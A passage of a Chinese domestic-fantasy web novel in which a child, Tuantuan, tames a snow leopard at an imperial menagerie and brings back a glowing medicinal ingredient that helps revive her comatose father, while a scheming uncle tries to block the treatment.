“真的!哥哥不会骗你,爹爹会醒过来的,等他醒了,一定会非常非常喜欢你。”他认真地看着妹妹的脸,这样好的小妹妹,爹爹怎会不喜欢呢。
刘嬷嬷在旁边接口:“少爷小姐不必担心。太医说了,王爷服了药,就能醒过来了,听说还缺了一味要紧的药引,郭太医正四处寻呢。“
萧宁珣看着她:“那个药引子,很难找吗?“
刘嬷嬷点了点头:“似是不大好找。“
团团“嗯”了一声,把小脸在被角上贴了贴,小声嘟囔,“会找到的,爹爹,团团等着你。”
几人走出了养正轩,萧宁珣看着一声不吭,明显心情低落的小团团,发起愁来。
怎么才能让小妹妹开心起来呢?他绞尽脑汁地想着。
妹妹喜欢什么呢,送给她不就好了?听说她喜欢捡破烂……,要不我也去捡?可是,捡什么呢?生平没有捡过破烂的他,眉头都皱起来了。
忽然他想了起来,刚进府时,听到下人们提过,说小小姐最喜欢逗鸟喂鱼,把池子里的鱼每天都喂得撑得不行。
动物!妹妹喜欢动物!
他眼前一亮:“团团,明日,哥哥带你去个地方玩好不好。”
“嗯?”
“万灵苑,你去过吗?那里有很多毛茸茸的动物,大的小的都有!还有些是番邦进贡来的呢,外面见不到的。你可喜欢?”
团团的眼睛“噌”地亮了起来:“我可以摸吗?它们会不会很臭?我要带肉干给它们吃!它们喜不喜欢吃肉干?”
萧宁珣被她问得一愣,“我,我也不知道,你带些也好,但那里有专门的人看着,要他们同意你才能喂。“
小奶娃的脸咻”的一下阴转晴。
她开心地跑了起来:“明天我要去万什么元!看很多的毛茸茸!摸他们的耳朵!”
萧宁珣见她开心,也追在了后面:“走!团团!咱们去跟母亲回禀一声!“
程如安自是应允:“可以。刘嬷嬷,明天你带上两个婆子,两个小厮,再叫上几个侍卫,跟他们同去。”
又低头嘱咐一双儿女,“去了要听园监的话,不许乱跑。”她顿了一下:“团团在外面要听刘嬷嬷和哥哥的话,做个小乖乖。”
团团不停点头:“知道啦,娘亲,我最乖了。”
静兰苑这边欢声笑语,凌霜阁却是一片愁云惨雾。
团团被诬陷一事,老夫人得知后立时便勃然大怒,顺姑随即奉命来到凌霜阁,打断了再一次用鸡蛋敷脸的方清研。
“奉老夫人命,侧妃身边的锦绣,即刻逐出王府,永不得再入。方家两位少爷小姐,今日受惊不浅,需要静养,即刻起程,送回方家,不可再在王府居住。凌霜阁内众人,月例减半。”
方清研越听脸色越白,不但驱逐了她的心腹,还降了她院里所有人的份例银子!没想到,这还没有完,顺姑拿出一本《女诫》递到她手中:“方侧妃禁足凌霜阁,罚抄《女诫》百遍。”
“我不走!我怎么能走!”锦绣接连磕了几个响头:“我是娘娘的陪嫁丫头!我不能走!我走了娘娘怎么办!”
顺姑脸色一沉:“你走了,自有懂规矩的来服侍娘娘!就不必你来操心了!来人!“
话音刚落,进来两个身材粗壮的婆子,一边一个,拽住她的胳膊便往外拉,锦绣哭喊着被拉向门外。
方清研冲着她伸了下手,却最终还是没有真的去拉她,自己的荣辱尚在别人一念之间,更何况是自己的奴婢呢。
她咬着牙,手垂了下来,蜷在袖中死死攥着掌心:“去吧,回方家去,该跟谁说什么,你心中有数。”
顺姑听见了,哼了一声,不以为意:“老奴告退。“行了个礼,走了。
屋里静得出奇,方清研盯着面前那本《女诫》,“妇德、妇言、妇容、妇功。”她轻轻呢喃,眼中愤怒的火焰强烈得如同能把这《女诫》一把烧光。
听雨阁中。
老夫人正在灯下照着团团送的铜镜,这些天她每日都照,眼神越来越清亮,积年沉疴一扫而空,心情无比舒畅。
顺姑进来回话,“锦绣已逐出王府,方家的两个孩子也已经送走了。”
“好。”老夫人头都未抬:“方侧妃如今是越来越不像话了,必须好好管教一番。此次我小惩大戒,望她能从此安分守己,别再搞出事来。”
第12章 好漂亮的大猫咪
次日一早,萧宁珣和团团穿戴整齐,带着一众下人,乘车来到了万灵苑。
万灵苑建于京城郊外,占地足有数百亩,是专门用来饲养各种珍惜动物,供皇家和权贵们赏玩的处所。
下了马车,刘嬷嬷递上了宁王府的名帖。
守门的差役接过来一看,连忙陪上了一脸笑容:“原来是宁王府大驾光临,劳众位稍候,小的去回禀园监大人。”
不多时,一位四十多岁的瘦高男人走了出来:“王府的少爷小姐们驾到,小的有失远迎,失礼了,请恕罪。”
“苑里规矩多,容小的叨扰一句,烦请诸位低声慢行,莫要惊扰了野兽。”
刘嬷嬷点头:“有劳大人了,一切照规矩来,贵人们的安全要紧。”
“多谢嬷嬷。”园监将苑内的规矩缓缓道来:“苑中有三禁,不可敲栏,不可投喂,不可高声。这个季候,梁上多有夜蝠,贵人们留神脚下。烦请诸位移步,随小的来。”
团团认真地点了点头,学着他的语调来了一句:“小的知道了。”刘嬷嬷差点没憋住笑,轻轻捏了她一把,示意别乱学。
团团冲她一笑,脸上酒窝深陷,萧宁珣看着妹妹,嘴巴因极力忍着笑抿成了一条线,妹妹怎么这么可爱呢。
苑内规划得极好,先是各种鸟类,再是各种犬类,边向前走,园监边给他们做着简单的介绍,这种大鹦鹉名唤雪衣娘,岭南进贡的,通体雪白,能模仿人言。
这是冠毛犬,脾气极好,善解人意,许多贵人们都喜欢领上一只,养在家中。
所有圈舍皆是铁木相合而建,非常结实,且收拾得干干净净,团团边听边跟着往里走,看得津津有味。
突然,她眼睛一亮,扑到了一个圈舍的围栏边:“哇!好漂亮的大猫咪!”
只见一只体型庞大,外形似猫的动物趴在地上,浑身布满了斑点,如同乌墨泼在了白雪上。身形又长又顺,长长的尾巴蜷成了一圈绕在身侧,合着双目,像是在睡觉。
团团踮起了脚,轻轻地唤着:“你好呀,大猫咪。”
“小姐这般轻声说刚好。”园监笑了:“此为去岁西域进贡的雪豹,脾气极大,很难驯化,小的们都是将食物扔进去喂食,轻易不敢靠近。”
话音刚落,前方拐角处传来一个少年的声音:“我跟你讲啊!这事儿我熟!”
团团向声音来处看去,只见一个身穿月白锦袍的圆脸少年,年纪跟萧宁珣差不多,满脸笑容地朝这边走来。
他袖子里蹦出一只乌黑的八哥鸟,小脑袋一歪,学着他的语调:“这事儿我熟!熟熟熟!”
团团觉得有趣,咯咯地笑了起来。
刘嬷嬷认得他,“这么巧,吏部侍郎家的二公子陆清嘉今日也来了。”
只见陆清嘉身后又走出一人,也是个十几岁的少年,衣衫亮丽,神情高傲,手中还拿着串驯兽用的兽铃,随着他的脚步叮当作响。
二人身后竟跟了二十几个下人,浩浩荡荡地走了过来。
看见他,萧宁珣的眉头微蹙:“怎么是他?”
团团拽了拽哥哥的袖子:“哥哥,他是谁啊?“
萧宁珣低声回答:“镇国侯府的庶子,韦秉安,一贯眼里不容人的,脾气坏得很,团团,咱们去别处看看吧。“
园监看到他也是眉头一皱,急忙行礼:“韦三公子,容小的说一句,此处是兽苑,不可有异声惊扰,请公子海涵,将那兽铃收一收。”
韦秉安斜了他一眼,偏不收起,反而用力拨了一下,叮的一声,比刚才更响:“你懂什么!我这兽玲千金难买,乃是驯兽的佳品,岂是你们那些不入流的东西能比的!”
“这便是那头进贡的雪豹?长得倒是好看,可惜不听话。畜生就是畜生,看小爷今日怎么驯它!“
说完,他举起手中的兽玲,贴着雪豹的围栏用力地晃动起来,叮当叮当的铃声又快又响,雪豹听见后睁开了双眼,站了起来,喉咙里发出阵阵低吼,浑身的毛都炸了起来。
萧宁珣急忙将团团从围栏边拉开,怒视了他一眼。
“呦!我当是谁呢!这不是宁王府的小哑巴嘛!“
萧宁珣沉着声音:“把你的兽玲收起来!你吓到它了!”
韦秉安一怔,满脸的不可思议,“真是奇了!这么多人在这儿,小哑巴居然能说话?”
团团紧紧地拽着哥哥的袖子:“我哥哥才不是哑巴!”
韦秉安这才看见地上还有一个小的:“你莫非就是那个从外面捡回来小杂种?”
萧宁珣脸色一沉,刘嬷嬷眉毛竖起,刚要开口,团团眼珠子一转,抢了先:“小杂种骂谁?”
韦秉安面露不屑:“小杂种骂你!”
团团拍了拍小手:“哇,原来是小杂种在骂我啊。”
一众下人在旁边听见,有几个实在没忍住,“噗”的一声笑了出来,又怕惹怒了主子,立刻捂上了自己的嘴。
陆清嘉别过头,偷偷冲着团团伸大拇指,八哥扑腾着翅膀,学着团团的声调:“小杂种骂谁!小杂种骂你!”
韦秉安无言回怼,气得面皮紫涨,手上更用力地拨弄着兽玲,刺耳的铃声响彻在苑内,许多动物都躁动地鸣叫了起来。
圈内的雪豹喉咙里滚了声低吼,猛地撞向围栏,砰的一声,整个圈舍都被它撞得一晃,显然已是发了大怒。
园监脸色都变了,这些个公子哥儿!真是胡闹!得赶紧将这几位请出去:“是小的失职,惊着诸位了。烦请诸位移步他处,莫要让野兽伤着了。”
韦秉安充耳不闻,使足了力气让兽玲的声音更大更密。
雪豹暴躁不堪,一下比一下用力地猛撞着围栏。
团团站在旁边,一动不动地看着雪豹,萧宁珣以为妹妹已经被吓得呆住了,心中大急,一把将她拉到身后,弯腰拔出了靴筒中的匕首,指向韦秉安:“住手!”
第13章 撸到了撸到了
韦秉安一惊,停下了手里的兽玲,所有人见宁王府的公子动了刀,都上来将自家的主子护在了中间。
团团从萧宁珣的身后探出个小脑袋,拽了拽他衣角:“哥哥,我没事儿。”又转头看向那因为铃声停了,不再撞向围栏的雪豹。
团团走到围栏边,小声地安慰:“乖啊,不怕,那只是声音,伤不到你的。”
雪豹依旧喘着粗气,对着她不停地低吼。
团团小脸皱起,可怜的大猫咪,它被吓到了啊!怎么才能让它不再害怕呢?对了!肉干!
她低头从自己的小荷包中掏出一块小小的肉干,那是她早上装进去,预备喂食的,结果园监说不可喂食,还以为白带了。
将肉干放在手心里,她自己先闻了一下:“好香啊!”缩了缩鼻尖,手伸到了靠近围栏的缝隙:”大猫咪,你闻闻,香不香啊?想吃吗?“
雪豹的鼻翼一张一合,“呼哧,呼哧”的像是在分辨什么,金色的眼晴低头注视着这个还没自己高的小团子。
园监大惊失色:“小姐!快停下!”
雪豹喉咙里的低吼渐渐转成了哼唧,头虽然伸不出来,舌头却努力探出了缝隙,将团团手上的肉干卷进了嘴里。
带着倒钩的粗厚舌头舔的团团手心一痒,她高兴地笑了出来:“哥哥!你看!它吃了我的肉干!”
园监愣在了当场,自己照顾了这雪豹一年多,都未能如此接近,这小娃娃怎么做到的?
其他人也都惊得面面相觑,呆立在一旁愣愣地看着。
团团把荷包里的肉干一一都喂给了它,她带得也不多,雪豹很快就吃完了最后一块,眼睛仍然紧紧盯着她的手。
团团两手一摊,给它看自己手里已空,撅起了小嘴:“就这些啦!下次我再给你带多多的!”
雪豹竟似听懂了一般,不再盯着她的手,而是贴着围栏缓缓卧倒,从缝隙中探出了一个爪子,伸给了她。
萧宁珣收起匕首,蹲了下来,拉住了妹妹的手,担心雪豹抓伤她。
团团却毫不在意:“哥哥,它喜欢我哦!不会伤我的。”
两只小手握着雪豹伸出的爪子,那爪子柔软巨大,团团的两只小手只能握住它两个脚趾。
团团开心地大笑:“哥哥!你看!它的爪爪好大啊!”
雪豹任由她揉搓着自己的爪子,喉咙里发出了满意的咕噜声,最后竟然翻了个身,把肚皮朝团团这边露了出来,尾巴平平地铺在地上,双眼微合,神态甚是慵懒。
韦秉安哼了一声,陆清嘉却看得两眼放光,艳羡之情溢于言表。
萧宁珣看着团团的小手,继而又落在雪豹那起伏的白肚皮上。
想起了昨日在正厅,正是这双小手握住了自己,那股暖流绝不是自己的错觉。
这个小妹妹,莫非……是个小神仙?
“请诸位恕小的无礼,依照苑内惯例,今日已有野兽受惊,万灵苑即刻闭苑,请诸位各自回府。烦请韦公子将兽玲交由小的代管。”
园监心里有气,身子虽然压得更低,语气也恭恭敬敬,话却一点都不软。
韦秉安脸上有些挂不住:“你凭什么收我的兽玲?我父亲……”他还想继续拨弄兽铃,园监已抢先一步伸手握住,动作虽轻,力道却是不小。
韦秉安毕竟年纪尚小,被园监一用力,将兽玲夺了过去,他连连赔笑:“得罪,得罪。苑内的规矩是大内定的,小的不敢坏了章程。”
“你!”韦秉安气结,指着园监却一时找不到理由反驳。
陆清嘉没心没肺地冲着他咧嘴笑:“韦秉安,他说的不假,我跟你讲啊,这事儿我熟!“
他袖中的小八哥探出头来,及时大声复读:“这事儿我熟!熟熟熟!“
韦秉安瞪了他一眼,一跺脚,转身快步走了出去
陆清嘉看了一眼团团,又看了一眼萧宁珣:“萧宁珣,你这个妹妹好厉害!下次你们再来时,记着叫上我啊!“
萧宁珣哼了一声,没有应声,陆清嘉也不恼,转身去追韦秉安:“你走这么快干嘛?等等我!“
看着他们走远,园监这才回身,冲萧宁珣和团团一躬身:“小的多谢两位,多亏了两位,今日才没让万灵苑出岔子。”
他的目光深深地落在团团的身上:“小姐与这雪豹如此有缘,当真难得。这会儿它心已定了,请二位回府吧,改日再来。”
团团不舍的冲雪豹挥了挥小手:“大猫咪,我回家啦!下回再来看你,你乖乖地听话,好好吃饭!”
雪豹看了她一眼,起身走到了圈舍的角落里,“匡匡”地开始刨地。
团团不解的看着它,转头望向园监:“小的!它在干什么?“
所有人都笑了,园监尴尬地摇了摇头:“这位小小姐,小的不叫小的,小的……唉,”他叹了口气:“也不知道它在做什么。”
雪豹刨了一会儿,在地上刨出了个深坑,从坑里叼了个东西出来,走向团团,嘴一松,那东西落在地上,竟是一团黑褐色像小石子一般的东西。
它看了看团团,用爪子捅了捅,将那小石子捅到了围栏的外面,喉咙里还不断咕噜着。
团团蹲下身,捡了起来,看着雪豹:“给我的?“
雪豹在地上打了个滚,像是在说是。
团团高兴了,举起来对着萧宁珣:“哥哥!你看!这是大猫咪送我的!“
萧宁珣接了过来,看着妹妹,脸上露出了温柔的笑容:“对啊,雪豹谁都不送,就送给团团!“
团团得意地笑了,将手伸进了围栏,轻轻地抚摸它的大耳朵,非常舍不得:“大猫咪,谢谢你啊!我会经常来看你的!给你带好多好多好吃的!“
雪豹被她撸得舒服极了,又打了好几个滚。
萧宁珣将手里的东西递到园监的面前:“你可识得?“
园监摇了摇头:”从未见过。今日小小姐与雪豹这番奇遇,小的想都不敢想。野兽虽不是人,却有灵性。这雪豹既然将此物赠与小小姐,不如您带回府中,请高人看看?“
萧宁珣点了点头,将那东西放进妹妹空了的荷包里,细细地系好了带子:“团团,咱们回去吧,改日再来。”
团团不舍地缩回了撸大猫的手,看着园监:“要好好地喂它哦!“
“这是小的职责所在。“
“谢谢你啦!小的!“团团一脸真诚,园监放弃了挣扎,小的就小的吧。
萧宁珣牵起了妹妹的手,一行人登上了回府的马车。
路上,团团因为今天摸到了大猫,兴奋异常,小嘴儿叭叭叭地说个不停。
“雪豹的毛好软啊!哥哥!下次咱们给它带很多很多好吃的,你也摸摸它好不好?
“雪豹的头好大啊!它一定比我年纪大,比我都高!”
萧宁珣和刘嬷嬷笑着,听着,心里对团团的喜爱全都挂在了脸上。
突然,团团的目光定在了哥哥的脸上:“哥哥!你今天好厉害!可你怎么这么瘦啊!瘦得像根竹竿子!雪豹都比你胖!”
“竹竿?”萧宁珣耳朵又红了,他想说“不是”,又不知道该怎么说,最后只闷闷地“嗯”了一声,不知道是在回应“厉害”,还是“竹竿”。
“我以后要每天喂你好吃的!把你喂得比雪豹胖!“
“好。“萧宁珣宠溺地看着她:”哥哥以后努力的吃,就吃团团喂的!好不好?“
“嗯!“团团满意的使劲点了点头。
回到府中时已过午时,两小只听下人说王妃此时正在养正轩,团团拉着萧宁珣:“哥哥,娘亲在爹爹院里,咱们也去吧。“
“好!“两小只走进了养正轩,却看到宁王的病榻前多了一个人,正是御医院正令,郭太医。
第14章 大猫咪的礼物
郭太医闭目凝神,手搭在萧元珩的腕上,正在诊脉。
程如安见两人进来,微微摇头,示意二人安静,萧宁珣牵着妹妹的手,悄悄地站到了她身后。
半晌,郭太医收回了手,刚要开口,门外传来下人的声音:“启禀王妃,二爷在养正轩外求见。”
程如安眉峰微挑:“二爷回府了?请他进来。”
团团拉了拉哥哥的袖子,萧宁珣俯下身来:“二爷是谁啊?”
萧宁珣小声回答:“是爹爹的弟弟,咱们的二叔,萧元华。”
“哦。”原来是爹爹的弟弟啊!长得也跟爹爹一样好看吗?团团探着小脑袋,向门外使劲张望,
只见一个一身锦袍,三十岁上下的男子缓步走了进来,五官端正,右眼下生着一颗小小的泪痣。
萧元华给程如安行了个礼:“元华叩见嫂夫人。”
程如安点了下头:“坐吧。”又看了兄妹二人一眼:“团团,这是二叔,你还没有见过,来,给二叔行礼。”
萧宁珣带着妹妹一起给萧元华行了个礼:“请二叔安。”
萧元华瞄了二人一眼,“嗯”了一声,大刺刺地坐了下来。
团团好奇地盯着他,这就是爹爹的弟弟?长得比爹爹差远啦!
咦?他身上怎么有一层黑气?跟那个黑婆婆身上的黑气一模一样!
萧元华眼角余光扫向团团,回想着昨晚锦绣的话:
“二爷!您快回王府看看吧!王妃不知从哪里捡来一个野丫头,认作了王府的嫡女,迷惑了王妃不说,还迷惑了老夫人!“
“侧妃娘娘几次想将这野丫头逐出王府,却反而被她所害。如今奴婢已经被老夫人逐出了王府,娘娘也被困在了凌霜阁,二爷!求您救救我们主子!“
就是这个小丫头?分明就是个乳臭未干的小儿罢了!能有什么厉害之处?
嫡女?嫡女又如何?又不是男子,继承不了王府。哼!小题大做!
他原本还想在外面一直等到长兄身故再回王府,这样才能将自己摘得干干净净,顺利继承王府。
现下却不得不回来,真是厌烦。待我继承了王府,呵呵,便将那几个庶子和这个小丫头一并发落了就是。
郭太医的话,打断了他的思路:“回禀王妃,王爷脉象沉缓,气息平和,但神识仍旧未归。老夫已为王爷开出了对症的安魂饮。“
“只是,“他皱起了眉头:”尚缺一味要紧的药引。老夫这些日子虽已寻遍各处,却仍旧未得。“
程如安满面愁容,手中锦帕搅成了一团:“你的意思是,若无这味药引入药,王爷便醒不过来?”
郭太医沉默了片刻,点了点头。
程如安嘴唇微颤,望着丈夫的脸庞,泪水滑了下来。
萧元华心中暗喜,脸上却露出悲伤:“请嫂夫人保重。医药之事,只能尽人事,听天命。嫂夫人若因此忧思过度,伤了身子,王兄想来也是不愿看到的。“
程如安顿时泪如雨下。
团团爬到了娘亲的怀里:“娘亲不哭!爹爹一定会醒的!”
萧宁珣的眼圈也红了,但看见母亲这个样子,却也知道言语苍白,无法解母亲的烦忧。
只能将话题岔开:“母亲,今日儿子带着团团去万灵苑,看到了西域进贡的雪豹,团团喂了它肉干,还摸了它呢!”他不想给母亲增添烦恼,刻意隐瞒了韦秉安的事情,只提团团。
“哦?”程如安用锦帕拭掉了脸上的泪水,低头看向女儿。
团团立刻接口:“娘亲!好大一只猫咪!比我都大!毛软软的,爪爪大大的!它可聪明呢,还送了东西给我!“
说着打开了荷包,将那团黑褐色的东西献宝一样捧到了王妃的面前。
“这是何物?“
“不知道哦!“
萧宁珣在一旁解释:“此物园监也不识得,说从未见过。“
郭太医听着两人的话,饶有兴趣地看了一眼团团手中的不明物体,眼神瞬间定住了。
他声音颤抖,显然是难掩心中激动:“王妃娘娘,可否给老夫看看?“
程如安点了点头,团团把手里的东西放在了他伸过来的手里:“老爷爷,你认识大猫咪给我的礼物?“
郭太医将手放近鼻轻嗅,又仔细端详了一番:“请将帐帘全部拉上,遮住日光。“
程如安看了一眼刘嬷嬷,刘嬷嬷会意,将帐幔帘子全部拉上,屋内顿时陷入一片昏暗。
再看郭太医的手中,那原本黑褐色,如同石子一般的东西,竟发出了一缕细细的青光,如同宝石一般。
“哇哦!“团团笑了:”娘亲!哥哥!快看!真好看!“
“气味微腥带冷,色在暗处微青。”郭太医指尖微颤,忍不住惊呼:“形、色、气皆与医书古籍所载相合。娘娘,王爷的病,有救了!“
“当真?”程如安大喜过望,几乎不敢相信。
刘嬷嬷此时已将章帘全部打开,只见满屋子的人都是一脸的惊喜,唯有萧元华,目光闪烁,面沉如水。
“老夫不敢妄言。”郭太医回答:“此物便是老夫遍寻不得的药引,夜明砂。”
“夜明砂,乃夜蝠之宿粪。蝠性喜居高暗之处,或梁间,或洞中,其粪落地久干而成砂。”
“此物之所以难得,因为新砂性躁,不可入药,必须是无秽物掺杂的多年纯净老砂方能于暗处发光,故得其夜明砂之名。”
“以此物为引入药,与安魂饮相合,便能醒神清脑。”郭太医看出了面前众人的不解,不再引经据典,而是说了一句大白话:“就好比牵了一根线,能把药力往该去的地方带。”
“既如此,请您速速开方,来人!将药煎来给王爷服下!“程如安一刻都等不得了,她等这一刻,已经足足两年多了。
“且慢!“萧元华厉声喝止,众人不禁都是一愣。
他看向郭太医:“敢问太医,可曾亲眼见过那夜明砂?“
郭太医摇了摇头:“如此难得之物,老夫从未见过。但此物与书中记载完全一致,老夫方有此一断。“
“既未曾见过,”萧元华目光凌厉,“太医可有十足把握,断定此物便是那药引?可敢用项上人头担保?“
郭太医顿时一怔,没敢再出声。
他虽医术高明,但想到家中尚有十余口血脉相连的亲人,若一旦出错,确是性命之忧,不禁犹豫了起来。
萧元华心中得意,目光转向王妃:“嫂夫人心急如焚,我感同身受,但事关王兄安危,容不得丝毫差池。“
“如此来历不明,真伪难辨之物,若给王兄服下,倘有不测,宗法难容。还请嫂夫人谨慎。”他顿了一下,言辞不再容情:“万一误了,嫂夫人可担待得起?”
程如安双唇抖动,面色惨白,一个字都说不出来了。
第15章 爹爹快醒啦
萧宁珣冷冷地盯着萧元华,“二叔请自重,你怎能不顾礼数,对母亲如此咄咄逼人?”
屋内气氛凝结,局面一时僵住了。
团团轻轻搂住了程如安的脖子,在她的耳边小声说道:“娘亲别怕!团团知道,这东西就是能救爹爹!“
儿子护着自己,女儿是祖宗赐来的福星,程如安心中稍定。
无论如何,都要让王爷将这药服下!但是现在,太医都不敢出声了,如何是好?看来,只能请母亲来主持大局了。
“刘嬷嬷,去将老夫人请来。“
“是。“
萧元华并不在意,夏氏来了又如何?本就不是自己的亲生母亲,不必言听计从。只要自己不松口,谁会不顾自身荣辱安危,担下这样的重责?
若这老太婆执意与我作对,待我继承王府,便寻个由头,将她送进尼姑庵去,省得她今后在府里对我指手画脚。
不多时,老夫人扶着顺姑坐在了养正轩中。
她来时路上,已听刘嬷嬷回禀了大概,坐下后便直接发问:“若无药引,你大哥便醒不过来,元华可有其他良策?“
萧元华一脸郑重:“未有。但儿子会走遍这世间医馆药坊,定能为王兄寻来这药引,到时再给王兄服下也不迟。“
刘嬷嬷在一旁搭话:“二爷此心虽好,但王爷的病,恐怕等不得那么久。“
老夫人看了看床上的儿子,又看了看儿媳王妃,目光落在了郭太医的身上:“郭老。“
郭太医浑身一震:“不敢,老夫人请讲。“
“你有几分把握?不妨与老身直言。“
郭太医出入王府多年,对宁王府的情况心知肚明,只是自己这小小的御医正令,实在是不愿卷入王府的内事之争。
他抬起袖子擦了擦额头上的汗:“老夫……老夫……不敢。“
老夫人闻言也沉默了,萧元华唇边滑过一抹势在必得的微笑,大哥,你就这样躺着吧,弟弟我等你身故,已等了多年了,谁也休想让我功亏一篑!
团团从王妃怀里钻出来,走到了夏氏膝前:“祖祖!”
“诶!”老夫人伸手将她揽进怀里。
团团指着放在案上的夜明砂大声说:“祖祖!这东西能救爹爹!真的能救!”老夫人闻言眼神一亮。
萧元华嗤笑一声:“小儿之言,岂可当真?”
老夫人看向王妃,程如安下定了决心:“母亲,儿媳愿将此物入药,给王爷服下。“
老夫人本就深信团团,听到这话,不再有丝毫犹豫:“郭老,请即刻开方,顺姑,你亲自煎药!”
萧元华震惊不已:“母亲!请三思!如此大事,岂可听一小儿所言?”
“嫂夫人外姓,今日便如此尽摄诸务,擅断王兄药事,将王府宗法置于何地?若有不测,她岂能担责?母亲!您要为王兄着想啊!儿子担忧的,是王兄的安危啊!”
“此物不过小儿偶然得之,怎么可能便是那遍寻不得的良药?请母亲考虑周全,谨慎为上。”
团团听不懂他说的话,只是一脸疑惑地看着他:“二叔!明明爹爹吃了药就能醒过来,陪团团玩了,你怎么就不让爹爹吃呢?“
童言无忌,一针见血。
“我!……你!“萧元华被她问得噎住,一时想不到合适的话来回应。
老夫人将团团搂紧,眼底的笑意一闪即没:“元华,老身亦是外姓。若有不测,老身愿担全责。你还有何话说?“
萧元华彻底哑火,咬了咬牙:“既如此,便依母亲所言。“
“郭老,请开方,顺姑,将药炉拿进来!煎药!“
很快,药炉中的水便烧开了,郭太医谨慎得不能再谨慎,将夜明砂捣碎,取砂不过指甲盖大的一撮,合上安魂饮,不多时便煎得了一碗,捧到了王妃的手中。
程如安亲手将药喂进了萧元珩的口中。
半个时辰后,郭太医再次将手搭在了他的腕上。
半晌,他抬起了头,眼神清亮,压不住的喜意冲了出来:“王爷血脉畅通,已有起色,再按此方服下几剂,便可转醒。”
屋内众人心中的一块石头终于落了地。
团团望着郭太医:“老爷爷!爹爹很快就能醒了?“
郭太医笑着回她:“对啊!小小姐!王爷他很快就能站起来了!真是多亏了你带回来的夜明砂。”
团团得意地滚到了程如安的怀里:“娘亲!我厉不厉害?”
程如安在她的小脸蛋上用力地亲了一口:“厉害!我的团团最厉害了!”
团团兴奋地又跑回老夫人的怀中:“祖祖!我厉不厉害?”
老夫人紧紧地抱住了她:“祖祖的团团哦!真是祖祖的大福星!”
团团咯咯地笑起来,除了萧元华,所有的人都为了萧元珩的即将苏醒而欢欣鼓舞。
老夫人看了萧元华一眼:“如安,你带着孩子们去用膳吧。“
程如安会意,领着两小只走出了养正轩。
待他们走远,老夫人脸色一沉:“跪下!“
萧元华不敢违逆,扑通一声跪倒在地。
“王府家法,嫡妇为内主,诸房子侄,不得以口舌相加。’你以‘外姓’讥王府嫡母,不敬尊长,可知错?“
萧元华磕了个头:“母亲,刚才儿子担忧王兄,一时情急,言辞不当,儿子知错,请母亲息怒。“
老夫人缓缓道:“你虽是庶子,并非我亲生,但终究是王府的骨血。我自问这些年对你多有回护,与你不仅有母子之名,更有母子之情。“
话锋一转:“你自幼心高,一心想继承王府,真当我不知吗?“
萧元华额头渗出了一层细汗,又磕了一个头:“母亲明鉴,儿子并无异心,方才所言,都是真心担忧王兄的性命安危,请母亲相信儿子,莫要质疑。“
老夫人放缓了声调:“虽然如此,但你也要为你方才的言行受罚,方能以正家风。“
“即刻,罚入祠堂,抄家法十遍。“
“是。儿子失言犯错,甘愿受罚。”
“去吧。”
萧元华给夏氏又磕了个头,往祠堂去了。
这一边,团团今日路走的多了,有些疲惫,越走越慢,程如安见状便将她抱了起来。
团团打了个哈欠,搂着她的脖子,在她耳边说悄悄话:“娘亲,那个二叔呀,不是咱们家的人。“
程如安脚步一顿:“团团怎么知道?”
“我就是知道!娘亲!他身上有黑气!跟那个黑婆婆一样的黑气!咱们家的人都没有。”又是一个哈欠。
程如安蹭了蹭她的小脸,轻声嘱咐:“娘亲知道了,好乖乖,记住啊,这话要放在心里头,别对任何人说。”
“好哦!娘亲,我饿了。“
“马上就到静兰苑了,有一桌子好吃的等着你呢!“
萧宁珣见母亲神色有异,以为她抱累了:“母亲,我抱着她吧。“伸手将团团接了过来。
“团团饿了,你走快些,先去吧。“
“是。“
程如安看着两小只走远,再也忍不住心中的惊涛骇浪,扶着廊上的柱子,缓缓坐在了廊凳上。
第16章 二哥哥摔倒了
听雨阁中槐影绰绰,静兰苑里兰花飘香,宁王府这几日岁月静好。
团团像个挂件一样粘着萧宁珣,二人的笑声不时地飘荡在宁静的王府中。
这日午后,下人来报:“启禀王妃,二少爷今早已回府,说是,身上疲惫,明日再来给您请安。四小姐刚刚进府,正在苑外求见。“
程如安微微颔首:“请她进来。”
“是。”
刘嬷嬷轻声道:“算来方侧妃的《女诫》应是抄的差不多了,禁足也该解了,四小姐此时回府,怕不是,知道了府里的事,来给自己的母亲撑腰的吧。“
程如安点了点头:“她原本也是个好孩子,可惜,养在了方清研身边,学足了她母亲的目中无人,斤斤计较。“
“王爷当时给她起名宁姝,便是希望她性情温婉,心地纯良。为着王爷的病需要静养,几位少爷搬去了书院,她被送回了方家,如今不知这脾性是否好些了。“
她微微叹气:“少爷们既已回府,她搬回来也是理所应当,我只希望,她能安分守己,莫要跟着她母亲再生事端才好。“
不多时,门外细碎的脚步声起,一个年轻的女孩款款走了进来,身后还跟着两个眼生的婢女。
萧宁姝比萧宁姝的生日小,如今未满十三,随了方清研的长相,生的肤色白皙,眉目娇俏。
她屈膝行礼,举止端庄,声音恭顺:“给母亲请安。”
“起来吧。”程如安的目光从她的脸上,落到了她身后的两个婢女身上。
“这是海棠和春桃,女儿在外祖家时,她们一直服侍我,今日回府,便带回来了,请母亲恩准,将她们留在府中。”
程如安点了点头:“可以。王爷的病虽已好转,但仍需静养,切记府中不可喧哗吵闹。”
萧宁姝低眉顺目:“女儿省得。”
“回凌霜阁瞧瞧去吧。”
“是。”萧宁姝礼数周全,再度行礼,拜别而去。
翌日,午后。
一个一身白衣,身形瘦弱的少年,扶着身边的小厮,站在了王府花园的一个无人的角落。
少年的声音仍有些稚嫩,却非常沉稳:“七星,将剑递给我。”
七星有些担心:“少爷,您昨日刚刚回府,这腿恐怕还乏着,还是明日再练吧。”
“无妨。”少年摇了摇头,接过了自己的宝剑。
他猛地用力拔出,剑上刻着的字在阳光下闪着白光:承影。
他面露眷恋,手指轻轻地摩挲着剑身。
当年父亲将这柄宝剑赠与自己时说的话,言犹在耳:“辰儿,此剑之名,源于《拾遗记》中的名句,视之不可见,运之不知有。”
“乃是为父当年出征时偶然得到的宝物。今日为父将此剑赠你,是将宁王府满门忠烈,护佑家国的赫赫功勋之影,传承予你。”
少年深吸了一口气,剑尖斜指地面,身姿挺拔如松,起势。
七星担忧地看了他一眼,松开手退到了一旁。
初始几式,少年以上身运剑,动作极为流畅,似已练过了千百次,充满了力量,承影仿佛活了过来,划破空气时发出清洌的嗡鸣。
但他的双腿却如同两根被死死钉入地面的桩子,纹丝未动。
腰腹之下的僵硬与沉寂,与上半身的灵动形成了一种诡异的割裂感。
这极致的反差显然让他渐渐变得焦躁。
